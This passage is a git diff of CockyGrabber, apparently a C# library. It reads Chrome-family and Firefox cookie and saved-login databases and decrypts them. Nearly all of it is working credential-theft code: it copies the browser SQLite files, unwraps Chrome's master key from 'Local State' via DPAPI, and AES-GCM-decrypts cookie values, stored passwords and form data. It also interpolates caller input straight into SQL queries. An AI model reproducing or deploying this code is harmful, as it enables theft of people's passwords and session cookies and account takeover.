diff --git a/Changelog.MD b/Changelog.MD index 590a214..31cd5a9 100644 --- a/Changelog.MD +++ b/Changelog.MD @@ -1,3 +1,22 @@ +# 2.2.0 + +## Additions + +* `Chromium` changed to `Blink`, and `Firefox` changed to `Gecko` +* Added `BlinkGrabber` and `GeckoGrabber` which replace `ChromeGrabber` and `FirefoxGrabber` +* Added Firefox Login Decryption +* Added `GrabberException` which replaces `CookieDatabaseNotFoundException`, `LoginDatabaseNotFoundException`, and `LocalStateNotFoundException` + +## Improvements + +* Fixed the bug where you couldn't call the Method `GetAllChromiumCookies()` with the UniversalGrabber without it throwing an exception when at least one of the Browsers was not installed (same thing goes for `GetAllChromiumLogins()` and their Get-By equvalents) +* Moved the documentation from Readme.md to the Github Wiki +* Added support for mutliple Profiles on gecko based browsers like Firefox +* Changed Timestamps from `long` to `DateTimeOffset` +* Improved the use of the `DynamicJsonConverter` + +
+ # 2.1.0 ## Additions diff --git a/CockyGrabber/CockyGrabber/CockyGrabber.csproj b/CockyGrabber/CockyGrabber/CockyGrabber.csproj index e27862d..fd124cd 100644 --- a/CockyGrabber/CockyGrabber/CockyGrabber.csproj +++ b/CockyGrabber/CockyGrabber/CockyGrabber.csproj @@ -69,24 +69,27 @@ - - - - + + + + - + - - + + + - + + + diff --git a/CockyGrabber/CockyGrabber/Grabbers/ChromiumGrabber.cs b/CockyGrabber/CockyGrabber/EngineGrabbers/BlinkGrabber.cs similarity index 62% rename from CockyGrabber/CockyGrabber/Grabbers/ChromiumGrabber.cs rename to CockyGrabber/CockyGrabber/EngineGrabbers/BlinkGrabber.cs index 4f4e3af..15b12bd 100644 --- a/CockyGrabber/CockyGrabber/Grabbers/ChromiumGrabber.cs +++ b/CockyGrabber/CockyGrabber/EngineGrabbers/BlinkGrabber.cs @@ -1,325 +1,355 @@ -using CockyGrabber.Utility; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Engines; -using Org.BouncyCastle.Crypto.Modes; -using Org.BouncyCastle.Crypto.Parameters; -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Security.Cryptography; -using System.Text; -using System.Web.Script.Serialization; - -namespace CockyGrabber.Grabbers -{ - public class ChromiumGrabber - { - private const string CookieCommandText = "SELECT creation_utc,top_frame_site_key,host_key,name,value,encrypted_value,path,expires_utc,is_secure,is_httponly,last_access_utc,has_expires,is_persistent,priority,samesite,source_scheme,source_port,is_same_party FROM cookies"; - private const string LoginCommandText = "SELECT origin_url,action_url,username_element,username_value,password_element,password_value,submit_element,signon_realm,date_created,blacklisted_by_user,scheme,password_type,times_used,form_data,display_name,icon_url,federation_url,skip_zero_click,generation_upload_status,possible_username_pairs,id,date_last_used,moving_blocked_for,date_password_modified FROM logins"; - public virtual string ChromiumBrowserCookiePath { get; set; } - public virtual string ChromiumBrowserLocalStatePath { get; set; } - public virtual string ChromiumBrowserLoginDataPath { get; set; } - - private readonly JavaScriptSerializer JSON_Serializer = new JavaScriptSerializer(); - public ChromiumGrabber() - { - JSON_Serializer.RegisterConverters(new[] { new DynamicJsonConverter() }); // Register DynamicJsonConverter for dynamic JSON (De)Serialisation - } - - #region IO Functions - /// - /// Create a temporary file(path) in %temp% - /// - /// The path to the temp file - private string GetTempFileName() => Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString()); // This is better than Path.GetTempFileName() because GetTempFileName is most of the time inaccurate - - /// - /// Returns a value depending on if the database with the stored cookies was found - /// - public bool CookiesExist() => File.Exists(ChromiumBrowserCookiePath); - - /// - /// Returns a value depending on if the database with the stored logins was found - /// - public bool LoginsExist() => File.Exists(ChromiumBrowserLoginDataPath); - - /// - /// Returns a value depending on if the key for decrypting the cookies was found - /// - public bool KeyExists() => File.Exists(ChromiumBrowserLocalStatePath); - #endregion - - #region GetCookies() - public IEnumerable GetCookiesBy(Chromium.CookieHeader by, object value) => GetCookiesBy(by, value, GetKey()); - public IEnumerable GetCookiesBy(Chromium.CookieHeader by, object value, byte[] key) - { - List cookies = new List(); - if (value == null) throw new ArgumentNullException("value"); // throw a ArgumentNullException if value was not defined - if (!CookiesExist()) throw new CookieDatabaseNotFoundException(ChromiumBrowserCookiePath); // throw a CookieDatabaseNotFoundException if the Cookie DB was not found - - // Copy the database to a temporary location because it could be already in use - string tempFile = GetTempFileName(); - File.Copy(ChromiumBrowserCookiePath, tempFile); - - using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={tempFile};pooling=false")) - using (var cmd = conn.CreateCommand()) - { - cmd.CommandText = $"{CookieCommandText} WHERE {by} = '{value}'"; - - conn.Open(); - using (var reader = cmd.ExecuteReader()) - { - while (reader.Read()) - { - // Store retrieved information: - cookies.Add(new Chromium.Cookie() - { - CreationUTC = reader.GetInt64(0), - TopFrameSiteKey = reader.GetString(1), - HostKey = reader.GetString(2), - Name = reader.GetString(3), - Value = reader.GetString(4), - EncryptedValue = DecryptWithKey((byte[])reader[5], key, 3), - Path = reader.GetString(6), - ExpiresUTC = reader.GetInt64(7), - IsSecure = reader.GetBoolean(8), - IsHttpOnly = reader.GetBoolean(9), - LastAccessUTC = reader.GetInt64(10), - HasExpires = reader.GetBoolean(11), - IsPersistent = reader.GetBoolean(12), - Priority = reader.GetInt16(13), - Samesite = reader.GetInt16(14), - SourceScheme = reader.GetInt16(15), - SourcePort = reader.GetInt32(16), - IsSameParty = reader.GetBoolean(17), - }); - } - } - conn.Close(); - } - File.Delete(tempFile); - - return cookies; - } - - public IEnumerable GetCookies() => GetCookies(GetKey()); - public IEnumerable GetCookies(byte[] key) - { - List cookies = new List(); - if (!CookiesExist()) throw new CookieDatabaseNotFoundException(ChromiumBrowserCookiePath); // throw a CookieDatabaseNotFoundException if the Cookie DB was not found - - // Copy the database to a temporary location because it could be already in use - string tempFile = GetTempFileName(); - File.Copy(ChromiumBrowserCookiePath, tempFile); - - using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={tempFile};pooling=false")) - using (var cmd = conn.CreateCommand()) - { - cmd.CommandText = CookieCommandText; - - conn.Open(); - using (var reader = cmd.ExecuteReader()) - { - while (reader.Read()) - { - // Store retrieved information: - cookies.Add(new Chromium.Cookie() - { - CreationUTC = reader.GetInt64(0), - TopFrameSiteKey = reader.GetString(1), - HostKey = reader.GetString(2), - Name = reader.GetString(3), - Value = reader.GetString(4), - EncryptedValue = DecryptWithKey((byte[])reader[5], key, 3), - Path = reader.GetString(6), - ExpiresUTC = reader.GetInt64(7), - IsSecure = reader.GetBoolean(8), - IsHttpOnly = reader.GetBoolean(9), - LastAccessUTC = reader.GetInt64(10), - HasExpires = reader.GetBoolean(11), - IsPersistent = reader.GetBoolean(12), - Priority = reader.GetInt16(13), - Samesite = reader.GetInt16(14), - SourceScheme = reader.GetInt16(15), - SourcePort = reader.GetInt32(16), - IsSameParty = reader.GetBoolean(17), - }); - } - } - conn.Close(); - } - File.Delete(tempFile); - - return cookies; - } - #endregion - - #region GetLogins() - public IEnumerable GetLoginsBy(Chromium.LoginHeader by, object value) => GetLoginsBy(by, value, GetKey()); - public IEnumerable GetLoginsBy(Chromium.LoginHeader by, object value, byte[] key) - { - List password = new List(); - if (value == null) throw new ArgumentNullException("value"); // throw a ArgumentNullException if value was not defined - if (!LoginsExist()) throw new LoginDatabaseNotFoundException(ChromiumBrowserLoginDataPath); // throw a LoginDatabaseNotFoundException if the Login DB was not found - - // Copy the database to a temporary location because it could be already in use - string tempFile = GetTempFileName(); - File.Copy(ChromiumBrowserLoginDataPath, tempFile); - - using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={tempFile};pooling=false")) - using (var cmd = conn.CreateCommand()) - { - cmd.CommandText = $"{LoginCommandText} WHERE {by} = '{value}'"; - - conn.Open(); - using (var reader = cmd.ExecuteReader()) - { - while (reader.Read()) - { - // Store retrieved information: - password.Add(new Chromium.Login() - { - OriginUrl = reader.GetString(0), - ActionUrl = reader.GetString(1), - UsernameElement = reader.GetString(2), - UsernameValue = reader.GetString(3), - PasswordElement = reader.GetString(4), - PasswordValue = DecryptWithKey((byte[])reader[5], key, 3), - SubmitElement = reader.GetString(6), - SignonRealm = reader.GetString(7), - DateCreated = reader.GetInt64(8), - IsBlacklistedByUser = reader.GetBoolean(9), - Scheme = reader.GetInt32(10), - PasswordType = reader.GetInt32(11), - TimesUsed = reader.GetInt32(12), - FormData = DecryptWithKey((byte[])reader[13], key, 3), - DisplayName = reader.GetString(14), - IconUrl = reader.GetString(15), - FederationUrl = reader.GetString(16), - SkipZeroClick = reader.GetInt32(17), - GenerationUploadStatus = reader.GetInt32(18), - PossibleUsernamePairs = DecryptWithKey((byte[])reader[19], key, 3), - Id = reader.GetInt32(20), - DateLastUsed = reader.GetInt64(21), - MovingBlockedFor = DecryptWithKey((byte[])reader[22], key, 3), - DatePasswordModified = reader.GetInt64(23), - }); - } - } - conn.Close(); - } - File.Delete(tempFile); - - return password; - } - - public IEnumerable GetLogins() => GetLogins(GetKey()); - public IEnumerable GetLogins(byte[] key) - { - List password = new List(); - if (!LoginsExist()) throw new LoginDatabaseNotFoundException(ChromiumBrowserLoginDataPath); // throw a LoginDatabaseNotFoundException if the Login DB was not found - - // Copy the database to a temporary location because it could be already in use - string tempFile = GetTempFileName(); - File.Copy(ChromiumBrowserLoginDataPath, tempFile); - - using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={tempFile};pooling=false")) - using (var cmd = conn.CreateCommand()) - { - cmd.CommandText = LoginCommandText; - - conn.Open(); - using (var reader = cmd.ExecuteReader()) - { - while (reader.Read()) - { - password.Add(new Chromium.Login() - { - // Store retrieved information: - OriginUrl = reader.GetString(0), - ActionUrl = reader.GetString(1), - UsernameElement = reader.GetString(2), - UsernameValue = reader.GetString(3), - PasswordElement = reader.GetString(4), - PasswordValue = DecryptWithKey((byte[])reader[5], key, 3), - SubmitElement = reader.GetString(6), - SignonRealm = reader.GetString(7), - DateCreated = reader.GetInt64(8), - IsBlacklistedByUser = reader.GetBoolean(9), - Scheme = reader.GetInt32(10), - PasswordType = reader.GetInt32(11), - TimesUsed = reader.GetInt32(12), - FormData = DecryptWithKey((byte[])reader[13], key, 3), - DisplayName = reader.GetString(14), - IconUrl = reader.GetString(15), - FederationUrl = reader.GetString(16), - SkipZeroClick = reader.GetInt32(17), - GenerationUploadStatus = reader.GetInt32(18), - PossibleUsernamePairs = DecryptWithKey((byte[])reader[19], key, 3), - Id = reader.GetInt32(20), - DateLastUsed = reader.GetInt64(21), - MovingBlockedFor = DecryptWithKey((byte[])reader[22], key, 3), - DatePasswordModified = reader.GetInt64(23), - }); - } - } - conn.Close(); - } - File.Delete(tempFile); - - return password; - } - #endregion - - /// - /// Returns the key to decrypt encrypted BLOB database values - /// - public byte[] GetKey() - { - if (!KeyExists()) throw new LocalStateNotFoundException(ChromiumBrowserLocalStatePath); // throw a LocalStateNotFoundException if the "Local State" file that stores the key for decryption was not found - - string fileText = File.ReadAllText(ChromiumBrowserLocalStatePath); // Read file - - dynamic dobj = JSON_Serializer.Deserialize(fileText, typeof(object)); // Deserialize fileText - string encKey = dobj.os_crypt.encrypted_key; // this is the encrypted key as a string - - return ProtectedData.Unprotect(Convert.FromBase64String(encKey).Skip(5).ToArray(), null, DataProtectionScope.LocalMachine); // Decrypt the encrypted key through unprotection and return a byte Array - } - - // undocumented; - private string DecryptWithKey(byte[] msg, byte[] key, int nonSecretPayloadLength) - { - const int KEY_BIT_SIZE = 256; - const int MAC_BIT_SIZE = 128; - const int NONCE_BIT_SIZE = 96; - - if (key == null || key.Length != KEY_BIT_SIZE / 8) - throw new ArgumentException($"Key needs to be {KEY_BIT_SIZE} bit!", "key"); - if (msg == null || msg.Length == 0) - throw new ArgumentException("Message required!", "message"); - - using (var cipherStream = new MemoryStream(msg)) - using (var cipherReader = new BinaryReader(cipherStream)) - { - var nonSecretPayload = cipherReader.ReadBytes(nonSecretPayloadLength); - var nonce = cipherReader.ReadBytes(NONCE_BIT_SIZE / 8); - var cipher = new GcmBlockCipher(new AesEngine()); - var parameters = new AeadParameters(new KeyParameter(key), MAC_BIT_SIZE, nonce); - cipher.Init(false, parameters); - var cipherText = cipherReader.ReadBytes(msg.Length); - var plainText = new byte[cipher.GetOutputSize(cipherText.Length)]; - try - { - var len = cipher.ProcessBytes(cipherText, 0, cipherText.Length, plainText, 0); - cipher.DoFinal(plainText, len); - } - catch (InvalidCipherTextException) - { - return null; - } - return Encoding.Default.GetString(plainText); - } - } - } -} +using CockyGrabber.Utility; +using Org.BouncyCastle.Crypto; +using Org.BouncyCastle.Crypto.Engines; +using Org.BouncyCastle.Crypto.Modes; +using Org.BouncyCastle.Crypto.Parameters; +using System; +using System.Collections.Generic; +using System.Data.SQLite; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Web.Script.Serialization; + +namespace CockyGrabber.Grabbers +{ + public class BlinkGrabber + { + private const string CookieCommandText = "SELECT creation_utc,top_frame_site_key,host_key,name,value,encrypted_value,path,expires_utc,is_secure,is_httponly,last_access_utc,has_expires,is_persistent,priority,samesite,source_scheme,source_port,is_same_party FROM cookies"; + private const string LoginCommandText = "SELECT origin_url,action_url,username_element,username_value,password_element,password_value,submit_element,signon_realm,date_created,blacklisted_by_user,scheme,password_type,times_used,form_data,display_name,icon_url,federation_url,skip_zero_click,generation_upload_status,possible_username_pairs,id,date_last_used,moving_blocked_for,date_password_modified FROM logins"; + public virtual string CookiePath { get; set; } + public virtual string LocalStatePath { get; set; } + public virtual string LoginDataPath { get; set; } + + private readonly JavaScriptSerializer JSON_Serializer = new JavaScriptSerializer(); + public BlinkGrabber() + { + JSON_Serializer.RegisterConverters(new[] { new DynamicJsonConverter() }); // Register DynamicJsonConverter for dynamic JSON (De)Serialisation + } + + #region IO Functions + /// + /// Copies a file to a temporary location in %temp% + /// + /// Path to the file that should be copied to a temporary location + /// The path to the temp file + private string CopyToTempFile(string path) + { + string tempFilePath = GetTempFilePath(); + if (File.Exists(tempFilePath)) // If File already exists: + return CopyToTempFile(path); // Repeat previous steps + File.Copy(path, tempFilePath); + return tempFilePath; + } + + /// + /// Create an imaginary path to a temporary file in %temp% + /// + /// The path to the temp file + private string GetTempFilePath() => Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString()); // This is better than Path.GetTempFileName() because GetTempFileName is most of the time inaccurate + + /// + /// Returns a value depending on if the database with the stored cookies was found + /// + /// True if the cookies exist + public bool CookiesExist() => File.Exists(CookiePath); + + /// + /// Returns a value depending on if the database with the stored logins was found + /// + /// True if the logins exist + public bool LoginsExist() => File.Exists(LoginDataPath); + + /// + /// Returns a value depending on if the file that stores the key for the value decryption was found + /// + /// True if the file with the key exist + public bool KeyExists() => File.Exists(LocalStatePath); + #endregion + + #region GetCookies() + public IEnumerable GetCookiesBy(Blink.CookieHeader by, object value) => GetCookiesBy(by, value, GetKey()); + public IEnumerable GetCookiesBy(Blink.CookieHeader by, object value, byte[] key) + { + List cookies = new List(); + if (value == null) throw new ArgumentNullException("value"); // throw a ArgumentNullException if value was not defined + if (!CookiesExist()) throw new GrabberException(GrabberError.CookiesNotFound, $"The Cookie database could not be found: {CookiePath}"); // throw a Exception if the Cookie DB was not found + + // Copy the database to a temporary location because it could be already in use + string tempFile = CopyToTempFile(CookiePath); + + using (var conn = new SQLiteConnection($"Data Source={tempFile};pooling=false")) + using (var cmd = conn.CreateCommand()) + { + cmd.CommandText = $"{CookieCommandText} WHERE {by} = '{value}'"; + + conn.Open(); + using (var reader = cmd.ExecuteReader()) + { + while (reader.Read()) + { + // Store retrieved information: + cookies.Add(new Blink.Cookie() + { + CreationUTC = WebkitTimeStampToDateTime(reader.GetInt64(0)), + TopFrameSiteKey = reader.GetString(1), + HostKey = reader.GetString(2), + Name = reader.GetString(3), + Value = reader.GetString(4), + EncryptedValue = reader.GetString(5), + DecryptedValue = DecryptWithKey((byte[])reader[5], key, 3), + Path = reader.GetString(6), + ExpiresUTC = WebkitTimeStampToDateTime(reader.GetInt64(7)), + IsSecure = reader.GetBoolean(8), + IsHttpOnly = reader.GetBoolean(9), + LastAccessUTC = WebkitTimeStampToDateTime(reader.GetInt64(10)), + HasExpires = reader.GetBoolean(11), + IsPersistent = reader.GetBoolean(12), + Priority = reader.GetInt16(13), + Samesite = reader.GetInt16(14), + SourceScheme = reader.GetInt16(15), + SourcePort = reader.GetInt32(16), + IsSameParty = reader.GetBoolean(17), + }); + } + } + conn.Close(); + } + File.Delete(tempFile); + + return cookies; + } + + public IEnumerable GetCookies() => GetCookies(GetKey()); + public IEnumerable GetCookies(byte[] key) + { + List cookies = new List(); + if (!CookiesExist()) throw new GrabberException(GrabberError.CookiesNotFound, $"The Cookie database could not be found: {CookiePath}"); // throw a Exception if the Cookie DB was not found + + // Copy the database to a temporary location in case it could be already in use: + string tempFile = CopyToTempFile(CookiePath); + + using (var conn = new SQLiteConnection($"Data Source={tempFile};pooling=false")) + using (var cmd = conn.CreateCommand()) + { + cmd.CommandText = CookieCommandText; + + conn.Open(); + using (var reader = cmd.ExecuteReader()) + { + while (reader.Read()) + { + // Store retrieved information: + cookies.Add(new Blink.Cookie() + { + CreationUTC = WebkitTimeStampToDateTime(reader.GetInt64(0)), + TopFrameSiteKey = reader.GetString(1), + HostKey = reader.GetString(2), + Name = reader.GetString(3), + Value = reader.GetString(4), + EncryptedValue = reader.GetString(5), + DecryptedValue = DecryptWithKey((byte[])reader[5], key, 3), + Path = reader.GetString(6), + ExpiresUTC = WebkitTimeStampToDateTime(reader.GetInt64(7)), + IsSecure = reader.GetBoolean(8), + IsHttpOnly = reader.GetBoolean(9), + LastAccessUTC = WebkitTimeStampToDateTime(reader.GetInt64(10)), + HasExpires = reader.GetBoolean(11), + IsPersistent = reader.GetBoolean(12), + Priority = reader.GetInt16(13), + Samesite = reader.GetInt16(14), + SourceScheme = reader.GetInt16(15), + SourcePort = reader.GetInt32(16), + IsSameParty = reader.GetBoolean(17), + }); + } + } + conn.Close(); + } + File.Delete(tempFile); + + return cookies; + } + #endregion + + #region GetLogins() + public IEnumerable GetLoginsBy(Blink.LoginHeader by, object value) => GetLoginsBy(by, value, GetKey()); + public IEnumerable GetLoginsBy(Blink.LoginHeader by, object value, byte[] key) + { + List password = new List(); + if (value == null) throw new ArgumentNullException("value"); // throw a ArgumentNullException if value was not defined + if (!LoginsExist()) throw new GrabberException(GrabberError.LoginsNotFound, $"The Login database could not be found: {LoginDataPath}"); // throw a Exception if the Login DB was not found + + // Copy the database to a temporary location because it could be already in use + string tempFile = CopyToTempFile(LoginDataPath); + + using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={tempFile};pooling=false")) + using (var cmd = conn.CreateCommand()) + { + cmd.CommandText = $"{LoginCommandText} WHERE {by} = '{value}'"; + + conn.Open(); + using (var reader = cmd.ExecuteReader()) + { + while (reader.Read()) + { + // Store retrieved information: + password.Add(new Blink.Login() + { + OriginUrl = reader.GetString(0), + ActionUrl = reader.GetString(1), + UsernameElement = reader.GetString(2), + UsernameValue = reader.GetString(3), + PasswordElement = reader.GetString(4), + PasswordValue = reader.GetString(5), + DecryptedPasswordValue = DecryptWithKey((byte[])reader[5], key, 3), + SubmitElement = reader.GetString(6), + SignonRealm = reader.GetString(7), + DateCreated = WebkitTimeStampToDateTime(reader.GetInt64(8)), + IsBlacklistedByUser = reader.GetBoolean(9), + Scheme = reader.GetInt32(10), + PasswordType = reader.GetInt32(11), + TimesUsed = reader.GetInt32(12), + FormData = DecryptWithKey((byte[])reader[13], key, 3), + DisplayName = reader.GetString(14), + IconUrl = reader.GetString(15), + FederationUrl = reader.GetString(16), + SkipZeroClick = reader.GetInt32(17), + GenerationUploadStatus = reader.GetInt32(18), + PossibleUsernamePairs = DecryptWithKey((byte[])reader[19], key, 3), + Id = reader.GetInt32(20), + DateLastUsed = WebkitTimeStampToDateTime(reader.GetInt64(21)), + MovingBlockedFor = DecryptWithKey((byte[])reader[22], key, 3), + DatePasswordModified = WebkitTimeStampToDateTime(reader.GetInt64(23)), + }); + } + } + conn.Close(); + } + File.Delete(tempFile); + + return password; + } + + public IEnumerable GetLogins() => GetLogins(GetKey()); + public IEnumerable GetLogins(byte[] key) + { + List password = new List(); + if (!LoginsExist()) throw new GrabberException(GrabberError.LoginsNotFound, $"The Login database could not be found: {LoginDataPath}"); // throw a Exception if the Login DB was not found + + // Copy the database to a temporary location because it could be already in use + string tempFile = CopyToTempFile(LoginDataPath); + + using (var conn = new SQLiteConnection($"Data Source={tempFile};pooling=false")) + using (var cmd = conn.CreateCommand()) + { + cmd.CommandText = LoginCommandText; + + conn.Open(); + using (var reader = cmd.ExecuteReader()) + { + while (reader.Read()) + { + password.Add(new Blink.Login() + { + // Store retrieved information: + OriginUrl = reader.GetString(0), + ActionUrl = reader.GetString(1), + UsernameElement = reader.GetString(2), + UsernameValue = reader.GetString(3), + PasswordElement = reader.GetString(4), + PasswordValue = reader.GetString(5), + DecryptedPasswordValue = DecryptWithKey((byte[])reader[5], key, 3), + SubmitElement = reader.GetString(6), + SignonRealm = reader.GetString(7), + DateCreated = WebkitTimeStampToDateTime(reader.GetInt64(8)), + IsBlacklistedByUser = reader.GetBoolean(9), + Scheme = reader.GetInt32(10), + PasswordType = reader.GetInt32(11), + TimesUsed = reader.GetInt32(12), + FormData = DecryptWithKey((byte[])reader[13], key, 3), + DisplayName = reader.GetString(14), + IconUrl = reader.GetString(15), + FederationUrl = reader.GetString(16), + SkipZeroClick = reader.GetInt32(17), + GenerationUploadStatus = reader.GetInt32(18), + PossibleUsernamePairs = DecryptWithKey((byte[])reader[19], key, 3), + Id = reader.GetInt32(20), + DateLastUsed = WebkitTimeStampToDateTime(reader.GetInt64(21)), + MovingBlockedFor = DecryptWithKey((byte[])reader[22], key, 3), + DatePasswordModified = WebkitTimeStampToDateTime(reader.GetInt64(23)), + }); + } + } + conn.Close(); + } + File.Delete(tempFile); + + return password; + } + #endregion + + /// + /// Returns the key to decrypt encrypted BLOB database values + /// + public byte[] GetKey() + { + if (!KeyExists()) throw new GrabberException(GrabberError.LocalStateNotFound, $"The Key for decryption (Local State) could not be found: {LocalStatePath}"); // throw a Exception if the "Local State" file that stores the key for decryption was not found + + string fileText = File.ReadAllText(LocalStatePath); // Read file + + dynamic dobj = JSON_Serializer.Deserialize(fileText, typeof(object)); // Deserialize fileText + string encKey = (string)dobj.os_crypt.encrypted_key; // this is the encrypted key as a string + + return ProtectedData.Unprotect(Convert.FromBase64String(encKey).Skip(5).ToArray(), null, DataProtectionScope.LocalMachine); // Decrypt the encrypted key through unprotection and return a byte Array + } + + // undocumented; + private string DecryptWithKey(byte[] msg, byte[] key, int nonSecretPayloadLength) + { + const int KEY_BIT_SIZE = 256; + const int MAC_BIT_SIZE = 128; + const int NONCE_BIT_SIZE = 96; + + if (key == null || key.Length != KEY_BIT_SIZE / 8) + throw new ArgumentException($"Key needs to be {KEY_BIT_SIZE} bit!", "key"); + if (msg == null || msg.Length == 0) + throw new ArgumentException("Message required!", "message"); + + using (var cipherStream = new MemoryStream(msg)) + using (var cipherReader = new BinaryReader(cipherStream)) + { + var nonSecretPayload = cipherReader.ReadBytes(nonSecretPayloadLength); + var nonce = cipherReader.ReadBytes(NONCE_BIT_SIZE / 8); + var cipher = new GcmBlockCipher(new AesEngine()); + var parameters = new AeadParameters(new KeyParameter(key), MAC_BIT_SIZE, nonce); + cipher.Init(false, parameters); + var cipherText = cipherReader.ReadBytes(msg.Length); + var plainText = new byte[cipher.GetOutputSize(cipherText.Length)]; + try + { + var len = cipher.ProcessBytes(cipherText, 0, cipherText.Length, plainText, 0); + cipher.DoFinal(plainText, len); + } + catch (InvalidCipherTextException) + { + return null; + } + return Encoding.Default.GetString(plainText); + } + } + + // TimeStamp To DateTimeOffset Functions: + public static DateTimeOffset WebkitTimeStampToDateTime(long microSeconds) + { + DateTime dateTime = new DateTime(1601, 1, 1, 0, 0, 0, 0, DateTimeKind.Utc); + if (microSeconds != 0 && microSeconds.ToString().Length < 18) + { + microSeconds /= 1000000; + dateTime = dateTime.AddSeconds(microSeconds).ToLocalTime(); + } + return dateTime; + } + } +} diff --git a/CockyGrabber/CockyGrabber/EngineGrabbers/GeckoGrabber.cs b/CockyGrabber/CockyGrabber/EngineGrabbers/GeckoGrabber.cs new file mode 100644 index 0000000..1ba3f75 --- /dev/null +++ b/CockyGrabber/CockyGrabber/EngineGrabbers/GeckoGrabber.cs @@ -0,0 +1,300 @@ +using CockyGrabber.Utility; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Web.Script.Serialization; + +namespace CockyGrabber.Grabbers +{ + public class GeckoGrabber + { + private const string CookieCommandText = "SELECT id,originAttributes,name,value,host,path,expiry,lastAccessed,creationTime,isSecure,isHttpOnly,inBrowserElement,sameSite,rawSameSite,schemeMap FROM moz_cookies"; + public virtual string ProfilesPath { get; set; } + public string[] Profiles { get; private set; } + private const string CookiesPath = "\\cookies.sqlite"; + private const string LoginsPath = "\\logins.json"; + + private readonly JavaScriptSerializer JSON_Serializer = new JavaScriptSerializer(); + + public GeckoGrabber() + { + // Check if all profiles exist: + if (!Directory.Exists(ProfilesPath)) + throw new GrabberException(GrabberError.ProfileNotFound, $"Gecko profile path was not found: {ProfilesPath}"); + + // Store all valid gecko profiles: + Profiles = Directory.GetDirectories(ProfilesPath).Where(str => File.Exists(str + CookiesPath) && File.Exists(str + "\\logins.json")).ToArray(); + + JSON_Serializer.RegisterConverters(new[] { new DynamicJsonConverter() }); // Register DynamicJsonConverter for dynamic JSON (De)Serialisation + } + + #region IO Functions + /// + /// Copies a file to a temporary location in %temp% + /// + /// Path to the file that should be copied to a temporary location + /// The path to the temp file + private string CopyToTempFile(string path) + { + string tempFilePath = GetTempFilePath(); + if (File.Exists(tempFilePath)) // If File already exists: + return CopyToTempFile(path); // Repeat previous steps + File.Copy(path, tempFilePath); + return tempFilePath; + } + + /// + /// Create an imaginary path to a temporary file in %temp% + /// + /// The path to the temp file + private string GetTempFilePath() => Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString()); // This is better than Path.GetTempFileName() because GetTempFileName is most of the time inaccurate + + /// + /// Returns a value depending on if the database of a specific profile with the stored cookies was found + /// + /// Path to the gecko profile + /// True if the cookies exist + public bool CookiesExist(string profilePath) => File.Exists(profilePath + CookiesPath); + + /// + /// Returns a value depending on if the database of a specific profile with the stored logins was found + /// + /// Path to the gecko profile + /// True if the logins exist + public bool LoginsExist(string profilePath) => File.Exists(profilePath + LoginsPath); + #endregion + + #region GetCookies() + public IEnumerable GetCookiesBy(Gecko.CookieHeader by, object value) + { + List cookies = new List(); + if (value == null) throw new ArgumentNullException("value"); // throw a ArgumentNullException if value was not defined + foreach (string profile in Profiles) + { + if (!LoginsExist(profile)) throw new GrabberException(GrabberError.CookiesNotFound, $"The Cookie database could not be found: {CookieCommandText}"); // throw a Exception if the Cookie DB was not found + + // Copy the database to a temporary location because it could be already in use + string tempFile = CopyToTempFile(profile + CookiesPath); + + using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={tempFile};pooling=false")) + using (var cmd = conn.CreateCommand()) + { + cmd.CommandText = $"{CookieCommandText} WHERE {by} = '{value}'"; + + conn.Open(); + using (var reader = cmd.ExecuteReader()) + { + while (reader.Read()) + { + cookies.Add(new Gecko.Cookie() + { + Id = reader.GetInt32(0), + OriginAttributes = reader.GetString(1), + Name = reader.GetString(2), + Value = reader.GetString(3), + Host = reader.GetString(4), + Path = reader.GetString(5), + Expiry = UnixTimeInSecondsToDate(reader.GetInt64(6)), + LastAccessed = UnixTimeInMicrosecondsToDate(reader.GetInt64(7)), + CreationTime = UnixTimeInMicrosecondsToDate(reader.GetInt64(8)), + IsSecure = reader.GetBoolean(9), + IsHttpOnly = reader.GetBoolean(10), + InBrowserElement = reader.GetBoolean(11), + SameSite = reader.GetInt16(12), + RawSameSite = reader.GetInt16(13), + SchemeMap = reader.GetInt16(14), + }); + } + } + conn.Dispose(); + } + File.Delete(tempFile); + } + return cookies; + } + + public IEnumerable GetCookies() + { + List cookies = new List(); + foreach (string profile in Profiles) + { + if (!CookiesExist(profile)) throw new GrabberException(GrabberError.CookiesNotFound, $"The Cookie database could not be found: {CookieCommandText}"); // throw a Exception if the Cookie DB was not found + + // Copy the database to a temporary location because it could be already in use + string tempFile = CopyToTempFile(profile + CookiesPath); + + using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={tempFile};pooling=false")) + using (var cmd = conn.CreateCommand()) + { + cmd.CommandText = CookieCommandText; + + conn.Open(); + using (var reader = cmd.ExecuteReader()) + { + while (reader.Read()) + { + cookies.Add(new Gecko.Cookie() + { + Id = reader.GetInt32(0), + OriginAttributes = reader.GetString(1), + Name = reader.GetString(2), + Value = reader.GetString(3), + Host = reader.GetString(4), + Path = reader.GetString(5), + Expiry = UnixTimeInSecondsToDate(reader.GetInt64(6) * 1000), + LastAccessed = UnixTimeInMicrosecondsToDate(reader.GetInt64(7)), + CreationTime = UnixTimeInMicrosecondsToDate(reader.GetInt64(8)), + IsSecure = reader.GetBoolean(9), + IsHttpOnly = reader.GetBoolean(10), + InBrowserElement = reader.GetBoolean(11), + SameSite = reader.GetInt16(12), + RawSameSite = reader.GetInt16(13), + SchemeMap = reader.GetInt16(14), + }); + } + } + conn.Dispose(); + } + File.Delete(tempFile); + } + return cookies; + } + #endregion + + #region GetLogins() + /// + /// Converts the as parameter passed dynamic object to a list of Logins + /// + /// dynamic json object + /// A list of Gecko Logins + private static List ConvertDynamicObjectsToLogins(List logins) + { + List _logins = new List(); + foreach (dynamic obj in logins) + { + _logins.Add(new Gecko.Login + { + Id = obj.id, + Hostname = (string)obj.hostname, + HttpRealm = (string)obj.httpRealm, + FormSubmitURL = 